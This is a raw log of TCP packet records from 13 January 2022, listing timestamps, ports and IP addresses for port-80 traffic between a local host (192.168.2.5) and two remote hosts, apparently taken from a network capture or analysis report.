Jan 13, 2022 20:51:34.204161882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204229116 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204229116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204288006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204303026 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204344988 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204344988 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204422951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204422951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204467058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204477072 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204507113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204519033 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204541922 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204560041 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204582930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204602003 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204626083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204638958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204668999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204679012 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204704046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204720020 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204739094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204756975 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204782009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204796076 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204824924 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204838991 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204868078 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.204880953 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.204926014 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.250591993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.250695944 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.250705004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.250781059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.250833035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.250833988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.250900030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.250951052 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.250952005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251024008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251061916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251065016 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.251277924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251328945 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251360893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.251379013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251418114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251420975 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.251532078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251575947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251585007 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.251619101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251657009 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251682043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.251910925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251972914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.251979113 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.252019882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.252062082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.252115011 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.252609968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.252665043 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.252690077 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.307981014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308065891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308108091 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.308132887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308198929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308237076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.308268070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308324099 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.308351994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308393002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308432102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.308448076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.310516119 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.310561895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.310604095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.310607910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.310642004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.310652971 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.311065912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311108112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311130047 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.311148882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311192036 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311197042 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.311764002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311806917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311835051 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.311849117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311888933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.311901093 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.312261105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.312303066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.312318087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.363713026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.363775015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.363827944 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.363831997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.363873959 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.363898039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.364856958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.364922047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.364943027 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.364962101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.365003109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.365025997 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.365741968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.365786076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.365827084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.365830898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.365900040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.365901947 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.365942001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.366014957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.366015911 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.366055965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.366096020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.366101027 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.367793083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.367852926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.367870092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.367902994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.367942095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.367945910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.367981911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.368021011 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.368026972 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.419044971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419092894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419109106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419125080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419141054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419157028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419204950 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.419234037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.419236898 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.419637918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419657946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.419686079 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.420262098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.420280933 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.420321941 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.420777082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.420804024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.420820951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.420834064 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.420838118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.420866013 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.421087027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.421108007 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.421123981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.421132088 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.421142101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.421165943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.422535896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.422554970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.422570944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.422585964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.422590017 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.422614098 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.422724962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.422769070 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.422779083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.477648973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.477679014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.477694988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.477710962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.477787018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.477827072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478065968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478084087 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478101015 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478116989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478127003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478143930 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478162050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478178024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478182077 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478195906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478221893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478440046 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478460073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478476048 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478492975 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478492975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478532076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478718996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478754997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478770018 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478773117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478791952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478816032 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478874922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478893995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478909969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478921890 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.478925943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.478955984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.515300989 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.515393972 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.533438921 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533477068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533483982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533502102 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533509016 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.533535004 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.533618927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533669949 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.533670902 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533689976 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533706903 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533740044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.533775091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533792973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533828974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.533865929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.533891916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.534106016 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.534868956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.534889936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.534903049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.534926891 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.534946918 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535024881 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535070896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535072088 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535092115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535120964 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535134077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535140991 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535178900 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535415888 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535449028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535466909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535475969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535485983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.535499096 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535526037 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.535559893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.588216066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588260889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588280916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588294029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588330030 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588366032 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588382959 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588407040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.588419914 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.588489056 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.588502884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.589021921 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.589027882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.589114904 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.589814901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.589977026 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.590131044 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.647324085 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.649554968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.649581909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.649599075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.649616003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.649631977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.649646044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.649672031 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.650110006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650134087 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650181055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.650206089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650226116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650257111 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.650886059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650913954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650929928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650947094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.650959969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.650985003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.651309967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.651330948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.651346922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.651364088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.651371002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.651388884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.662836075 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.662864923 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.662883043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.662899971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.662915945 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.662950039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.662976027 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.701886892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.702009916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.704098940 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.704128027 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.704144001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.704159975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.704225063 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.704258919 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.704936028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.704956055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.704971075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.704988003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.705024958 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.705050945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.705250025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.705266953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.705313921 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.705317020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.705336094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.705377102 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.706176996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.706197023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.706244946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.706250906 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.706262112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.706302881 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.736757994 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.736845970 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.736922979 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.736985922 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.737463951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.737608910 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.737647057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.737694025 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.737736940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.737751007 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.737772942 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.737803936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.737818003 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.737818003 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.737823009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.737917900 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.756688118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.756752968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.756858110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.758743048 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.758790016 CET	80	49845	45.135.233.182	192.168.2.5
